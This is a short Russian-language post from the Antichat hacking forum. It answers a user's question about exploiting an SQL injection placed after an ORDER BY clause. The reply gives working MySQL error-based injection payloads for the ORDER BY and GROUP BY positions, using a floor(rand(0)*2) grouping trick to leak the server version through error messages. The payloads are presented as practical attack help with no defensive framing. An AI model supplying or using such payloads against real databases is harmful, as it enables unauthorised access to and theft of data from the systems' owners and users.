Форум АНТИЧАТ - Показать сообщение отдельно - Ваши вопросы по уязвимостям.

UXOR, YaBtr, Вы что-то не то советуете.

Цитата:

Сообщение от [R

eD"]
[R]eD said:
Есть иньекция вида:

Код:

Code:
SELECT * FROM `data` WHERE name = 'test' ORDER BY id {SQL-INJ}

#1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'group+by+concat((select+version()),floor(rand(0)* 2))+having+min(0)+or+1+--+1' at line 1
Как сделать правильно? Или после конструкции ORDER нельзя уже ничего сделать?

Код:

Code:
ORDER BY id|(SELECT 1 from information_schema.tables group by concat((SELECT version()),floor(rand(0)*2)) having min(0))

Если бы инъекция была в GROUP BY, то тогда так:

Код:

Code:
GROUP BY id is null, concat((SELECT version()),floor(rand(0)*2)) having min(0)

Unknowhacker, там нет инъекции.